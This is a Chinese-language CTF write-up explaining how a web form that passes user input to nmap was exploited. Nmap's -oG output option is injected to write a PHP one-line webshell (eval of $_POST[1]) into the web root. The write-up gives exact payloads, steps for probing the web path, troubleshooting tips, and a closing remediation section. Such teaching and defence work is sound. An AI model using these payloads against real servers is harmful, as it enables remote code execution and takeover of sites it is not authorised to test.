☰
从Nmap参数注入到Webshell:CTF命令执行题实战详解
2026/10/19 3:04:20 网站建设 项目流程

最近在某个CTF练习平台上刷到一道2020年的赛题,界面简单得让人想划走:一个输入框,让你填IP地址,后端拿去跑Nmap扫描,扫描结果直接回显到页面上。乍看就是个常规的命令执行考点,但真正做起来才发现,它把常见的命令分隔符过滤得干干净净,最后却从Nmap自己的参数里撕开了一道口子,一路打到文件写入,成功拿到Shell。这道题的关键不是无脑拼接系统命令,而是理解Nmap这类命令行工具能把哪些输入变成输出,以及输出如何落到Web目录里。对CTF新人和做Web打点的人来说,都是一道绕不开的典型题。

1. 初看这道Nmap题:功能、漏洞和攻击面

1.1 表面功能与隐藏入口

题目页面的功能很简单,一个输入框加一个扫描按钮,输入IP之后,页面会返回类似Nmap的扫描报告。第一次测试时,我提交了常见的命令注入payload,比如; whoami、| id、&& ls,结果都被后台过滤掉了,要么只输出扫描结果,要么直接报错提示非法字符。这时候如果死磕命令分隔符,很容易卡住。

换个角度想:虽然分隔符被过滤,但我输入的内容最终还是会被拼到后台的Nmap命令里。那我不去执行系统命令,而是尝试注入Nmap自己的参数,会不会有效?我提交了127.0.0.1 -h,结果页面真的回显了Nmap的帮助信息,说明参数注入已经生效。这一步是整个题目的分水岭:它把普通的命令注入问题,转化成了一个“Nmap参数注入问题”。

理解这个转变很重要。命令注入是利用管道符、分号等方式让操作系统执行额外命令;参数注入则是利用程序自身的命令行选项,让它做出开发者预期之外的动作。很多安全新手一看到命令执行就只想着;和|,忽略了一个事实:只要后台是用system("nmap " . $input)这种方式拼接命令,那么用户输入中只要包含空格和-开头的参数,就能改变Nmap的执行行为。Nmap参数极其丰富,除了常规的-sT、-sV、-Pn,还有一堆输出控制、脚本执行、文件读写相关的选项,这些正是攻击面所在。

1.2 为什么Nmap参数远比想象中危险

Nmap是一个扫描工具,但它同时也是一把瑞士军刀。它支持-oN/-oX/-oG/-oA等输出参数,可以把扫描结果写入文件;支持--script调用Lua脚本;支持-iL从一个文件读取目标列表;甚至早期版本还有交互模式,可以在Nmap命令行内执行系统命令。虽然Web后台只是想让Nmap帮忙扫个端口,但一旦参数可控,工具本身的能力就会变成漏洞。

我最初拿到这道题时,第一反应是找Nmap的交互模式,想着能不能直接输入!sh之类的命令。但现代Nmap对交互模式限制很严格,而且题目环境大概率也没有开启交互终端。退一步看,能写文件就已经足够了。只要能把Nmap的输出写到Web目录,并且让文件内容里带上PHP代码,那就能把它变成Webshell。这也是这道题的核心解题路径:参数注入 -> 文件写入 -> 访问Webshell -> 获取flag。

所以遇到这类题目时,不要急着找通用RCE payload,先花时间想想目标程序本身能做什么。Nmap能写文件、能读文件、能调用脚本,这些特性都可能在某个CTF题里变成突破口。后面我会把这次从注入到写文件再到连接Shell的完整过程展开,包括各种边边角角的坑。

2. Nmap输出参数与文件写入的底层逻辑

2.1 Nmap的四种输出格式对比

要把Nmap变成“写文件工具”,第一步是选对输出参数。Nmap里常用的有四种输出方式,我整理成了一张表:

参数输出格式特点利用场景
-oN正常人类可读格式排版友好,内容多,包含大量标题和注释写入文本内容时可读性好,但也容易混入干扰字符
-oXXML格式结构化,便于程序解析,有大量标签闭合需要构造XML注入时用,但CTF里直接写PHP不方便
-oGgrepable格式每行一个主机,内容紧凑,方便grep实际做题最常用,输出文件短小,写入的PHP代码更容易完整保留
-oA同时输出三种格式一次性生成.nmap、.xml、.gnmap三个文件生成文件多,容易增加噪音,一般不用

从利用角度讲,-oG是首选。它的输出结构相对简单,而且Nmap的回显行会把实际执行的命令行也记录下来。这个“命令行回显”特别关键,因为命令行里包含我们注入的目标字符串。只要目标字符串中带有<?php ... ?>,Nmap就会原封不动或者稍作处理后把它写进文件里。PHP解析器只关心文件里的<?php标签,不关心它前面是不是有注释符号或者HTML文本,所以文件照样能执行。

-oN也可以用来写文件,但它的格式里行距、标题更多,PHP标签可能被拆得七零八落,需要构造更复杂的闭合逻辑。如果在实战中-oG被过滤,再考虑-oN或者-oX组合标签闭合。但在这道题里,-oG足够干净利落。

2.2 Nmap输出里为什么能带上PHP代码

很多人不理解:Nmap扫描的是IP和端口,怎么输出文件里会有PHP代码?关键在于Nmap会记录它收到的目标参数。举个例子,如果后台执行的是:

nmap -T4 '<?php phpinfo();?>' -oG /var/www/html/info.php

Nmap会把<?php phpinfo();?>当成一个待解析的主机名。解析失败后,它会往输出文件里写一条类似这样的内容:

# Nmap 7.80 scan initiated ... as: nmap -T4 '<?php phpinfo();?>' -oG /var/www/html/info.php # Failed to resolve "<?php phpinfo();?>". # Nmap done at ... -- 0 IP addresses (0 hosts up) scanned in 1.22 seconds

注意第一行,我们注入的PHP代码出现在Nmap命令回显里,并且被原样写入了文件。只要这个文件放在Web目录下、后缀是.php,访问时服务器就会交给PHP解析器处理。PHP标签本身不会因为前面有# Nmap而被屏蔽,解析器遇到<?php就开始执行,于是页面会返回phpinfo的信息。

还有一个常见的操作是把合法IP和PHP字符串混在一起作为目标,比如:

nmap -T4 127.0.0.1 '<?php @eval($_POST[1]);?>' -oG /var/www/html/shell.php

这样写的好处是,即使Nmap在扫描中出现了目标解析失败的情况,文件里也会同时记录IP的扫描状态和PHP代码,增加内容的真实性,也方便调试。但核心逻辑还是一样的:只要能让输出文件里出现完整的<?php ?>标签,文件写入这一步就成功了。

理解了这一层,后面构造payload就很简单了,关键就是怎么让后台的Nmap命令接收到我们的恶意目标串和输出参数。

3. 完整利用链:从参数注入到Webshell落地

3.1 第一步:确认参数注入生效

拿到题目后,我先提交了一个无害的探测payload:

host=127.0.0.1 -h

页面回显了Nmap的版本和帮助信息,说明后台大概率是直接拼接命令,并且没有把输入的整个字符串当成单一目标。我再尝试提交host=-oG /tmp/test这类输出控制参数,如果Nmap报错或者提示写入成功,就可以进一步确认参数注入的可用性。

有一个细节值得注意:很多题目会过滤|、;、&、$()这类命令分隔符,但不会过滤空格和-。Nmap参数都是短横线加字母,所以这种过滤策略等于给参数注入留了后门。确认参数注入后,接下来就要确定写入路径。CTF常见的Web目录是/var/www/html,也有一些环境放在/usr/share/nginx/html或/var/www/。如果不知道,可以先尝试相对路径写入shell.php,再通过浏览器访问当前Web路径去找。Nmap的工作目录不一定等于Web根目录,所以更稳妥的做法是直接写绝对路径。

我在这道题里的做法是先写一个不包含PHP代码的测试文件,确认路径是否可行。提交:

host=127.0.0.1 -oG /var/www/html/test.txt

然后访问/test.txt,如果看到了Nmap输出,说明目录可写,而且路径正确。如果访问不到,就换路径。这个步骤虽然多了一下,但能避免后续payload白写。

3.2 第二步:写入一个可执行的PHP探针

确认路径后,先别急着上马。我习惯先写一个phpinfo()探针,验证PHP代码确实能被执行,同时也排除扩展名、解析配置等干扰。提交payload:

host='<?php phpinfo();?>' 127.0.0.1 -oG /var/www/html/info.php

这里我把PHP代码用单引号包起来,目的是让Shell把<?php phpinfo();?>当成一个整体参数传给Nmap,避免空格把代码拆成多个Nmap目标。提交后访问/info.php,如果能看到一屏PHP信息,就说明解析链路完全打通。

从这个探针再升级到Webshell,只是把目标字符串换成一句话木马。为了避免引号冲突,我建议PHP代码内部不要用单引号,而是用无引号数组下标。一个典型的payload是:

host='<?php @eval($_POST[1]);?>' -oG /var/www/html/shell.php

后台实际执行的命令等价于:

nmap -T4 '<?php @eval($_POST[1]);?>' -oG /var/www/html/shell.php

访问/shell.php时,文件中的PHP标签会执行eval,之后可以POST一个1参数传入任意PHP代码。这里需要注意,@符号是PHP的错误抑制符,写不写都可以,写上去能在代码不完整或变量报错时减少页面输出,方便后续连接。

又因为外部用单引号包裹了整个PHP代码,PHP代码里的$_POST[1]没有引号,所以不会出现内部单引号把Shell引号提前闭合的问题。如果实在没有单引号可用,也可以尝试去掉PHP代码里的空格,写成<?php@eval($_POST[1]);?>,但这个写法对PHP版本的兼容性不是百分百稳,能加空格还是加上更保险。

3.3 第三步:连接Webshell并取flag

写入shell.php后,如果想快速验证,可以直接用浏览器或者curl提交POST数据。比如要读取当前目录的文件列表,可以POST一个执行var_dump(scandir('.'))的代码。当然更高效的方式是直接用Webshell管理工具连接,配置里面填写Shell地址和连接密码1,就能像管理本地文件一样操作靶机。

连接成功后,第一件事是确认当前用户权限和目录结构。一般这类题目运行在容器或虚拟环境里,Web用户权限有限。我当时的操作是查看Nginx/Apache的Web目录,然后寻找flag文件。常见的flag位置有/flag、/var/www/html/flag、/tmp/flag等,也可能在数据库里,但Nmap这道题大概率还是以文件形式存在。

这里要特别强调:整个过程只能用于CTF靶场或你拥有合法授权的测试环境。不要拿真实站点去练手,这不仅是违规行为,也会给自己惹上不必要的麻烦。Webshell落入真实环境后的危害比想象中严重得多,安全研究必须在合法边界内进行。

3.4 备用思路:利用Nmap脚本引擎继续扩展

如果目标环境把-oG这类写文件参数过滤得很严,也可以换用Nmap的--script参数。比如--script可以加载指定脚本,某些脚本存在参数可控行为,理论上能组合出命令注入或者文件读取。不过在网鼎这个题目风格里,-oG写文件已经是最短路径,其他思路更适合作为扩展知识储备。Nmap还有-iL可以从文件加载目标列表,如果能先上传一个文件,再通过-iL引入,也能达到一些奇怪的效果。了解这些备用思路,是为了防止考试或实战时正好撞上被阉割的参数。

4. 实战排查:文件不生效、代码被过滤怎么办

4.1 文件写入了,但访问时空白或原样输出

遇到这种情况,先别怀疑Nmap,先看PHP解析器。如果访问.php文件浏览器直接下载,说明目标环境的Nginx/Apache没有把该目录配置成PHP解析。如果访问是空白,可能PHP代码确实执行了但没有输出,也可能是PHP标签被截断。可以用一个最简单的探针<?php echo 1;?>去写文件,访问看到1就说明链路正常。

如果探针能输出1,但一句话马连接不上,常见原因是@eval前有不可见字符,或者代码在Nmap输出里被拆行。我遇到过Nmap把输出目标中的空格转成下划线之类的情况,所以写入完整Webshell前,最好先写一段无空格的短代码测试。比如:

<?php echo $_POST[1];?>

这个代码没有空格,更不容易被拆。访问后POST参数1=hello,如果页面回显hello,那么Webshell的写入路径基本没问题。

4.2 命令分隔符被过滤,怎么判断是参数注入

如果提交-h有反应,但提交; id无反应,说明命令分隔符确实被过滤了。这个时候不要再纠结%0a、%0d之类的绕过,优先把注意力放在Nmap参数上。可以先试-oG 1.txt,如果报错或者返回正常,再试--script相关参数。Nmap参数是否被白名单过滤,直接决定后续利用方式。

有一种坑比较隐蔽:后台可能是用escapeshellarg()或者escapeshellcmd()做了转义,但这两种函数并不能完全防止参数注入。escapeshellarg()会把用户输入包在一对单引号里,但如果后端拼接时已经有引号,可能造成引号闭合;escapeshellcmd()会转义;&|等字符,但不会阻止-oG这样的参数被解析。所以在CTF里,就算看到代码里有转义函数,也不代表一定安全,还是要实际测试。

4.3 Web目录路径不确定时怎么探测

写文件最怕路径不对。Nmap调用时如果目标路径不存在,一般会向标准错误输出一段类似Failed to open output file的提示,页面回显能看到的话,就成了路径探测的信息源。我常用的方法是分叉探测:

  1. 写相对路径:-oG shell.php,然后访问/shell.php;
  2. 写常见绝对路径:先试/tmp/1.txt看是否写入成功;
  3. 通过报错信息判断真实目录:故意写-oG /nonexist/1.txt,Nmap会返回路径不存在,错误信息可能包含当前执行环境。

如果Nmap输出没有回显,那就需要盲打。盲打时可以写一个带时间戳或者随机字符串的探针文件,然后通过访问日志判断是否落地。不过在CTF题目里,一般都能从前端回显里拿到足够信息,盲打只是最后手段。

4.4 常见问题速查表

我把这次实战中可能遇到的问题整理成一个速查表,方便下次直接对照:

现象可能原因排查建议
-h注入成功,; id无反应命令分隔符被过滤,参数注入已生效放弃分割符,转向Nmap输出参数
访问写入的文件直接下载目录没配PHP解析,或后缀不对换.php,或换到可执行脚本目录
访问文件返回500PHP标签或语法错误,文件内容被破坏先用无空格探针验证,再升级Webshell
文件写入但访问404路径不对或Web根目录不一致改用绝对路径写入,并通过报错判断目录
-oG被过滤,写不了文件题目把输出参数直接拦截尝试--script、-iL等其它Nmap参数

这张表的核心思路是:先分清楚控制点和失败点,再用最小探针缩小范围。遇到问题不要总想着换一个更大的payload,很多时候是路径、解析、特殊字符这些细节在捣鬼。

5. 复盘防御:这个洞到底该怎么补

5.1 漏洞根源在直接拼接用户输入

这道题的根因非常经典,后台代码大概长这样:

$host = $_POST['host']; system("nmap -T4 " . $host);

只要用户输入不经过任何校验直接拼进系统命令,就算没有;和|,也挡不住Nmap参数注入。开发者本意是让用户填一个IP,结果用户填的是一整段Nmap命令行参数。从这个角度看,漏洞的根源不是Nmap,而是“信任了不该信任的用户输入”。

修复时最直观的做法是加白名单校验。比如强制校验输入必须是IP格式,或者用PHP的filter_var($host, FILTER_VALIDATE_IP)判断后再调用Nmap。如果业务上确实需要支持域名,也建议用正则严格限定字符集,同时拒绝任何以-开头的输入。这样才能同时杜绝命令分隔符和参数注入两条路。

5.2 转义函数不是万能钥匙

很多文章会推荐用escapeshellarg()或escapeshellcmd()来防命令注入,但在这个场景里它们并不完全可靠。escapeshellarg()会把输入包在单引号里,如果Nmap命令原本就拼接了引号,可能造成引号闭合。escapeshellcmd()会转义掉分隔符,但对Nmap参数注入几乎束手无策。真正的防御必须落到参数校验和最小权限上。

如果业务确实需要动态调用Nmap,更好的方案是使用现有的Nmap解析库或将其封装成服务,通过API传入结构化参数,而不是直接拼命令行。退一步讲,即使要调用命令行,也应该写一个参数白名单:允许哪些参数、不允许哪些参数,遇到-oG、--script、-iL等危险参数直接拒绝。再加上容器隔离、Web用户降权、写目录限制为临时目录,就算被利用,影响面也会小很多。

5.3 从这道题延伸出的通用思路

做完这道题,我对命令行注入的理解又深了一层。以前总觉得只有拿到RCE才算漏洞利用成功,但事实上很多命令行工具的参数本身就是功能强大的入口。比如find的-exec参数、tar的--to-command参数、git的--upload-pack参数,都可能被用来做超出开发者预期的事情。Nmap的-oG只是其中一个典型。

以后再碰到这类调用外部程序的Web题目,我建议先梳理三件事:一是这个程序本身有哪些输出参数,能不能写文件;二是它的输入目标可控到什么程度,是IP、域名还是任意字符串;三是程序运行时的目录和权限是否有特殊限制。把这三件事摸清楚,很多看似无从下手的命令注入题,其实都有迹可循。

我个人在操作过程中还有一个体会:不要迷信网上现成payload,环境不同,引号处理、路径位置、PHP解析配置都可能让同一个payload失效。最好的做法是先用最小的探针确认每一个环节,再逐步升级。比如先确认参数注入,再确认写文件,再确认PHP执行,最后再上Webshell。每一步都有明确信号,就不会像无头苍蝇一样到处乱试。

最后再分享一个小技巧:如果在CTF里遇到Nmap题目,可以在输入框里先提交--version或者-h,看页面是否回显额外的Nmap信息。这一步能最快确认参数注入是否生效,也能让你对后台命令的拼接方式有个基本判断。剩下的就是跟着输出参数和文件写入的路子往下走。当然,所有测试都记得放在合法靶场里,别拿公共网络目标试。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询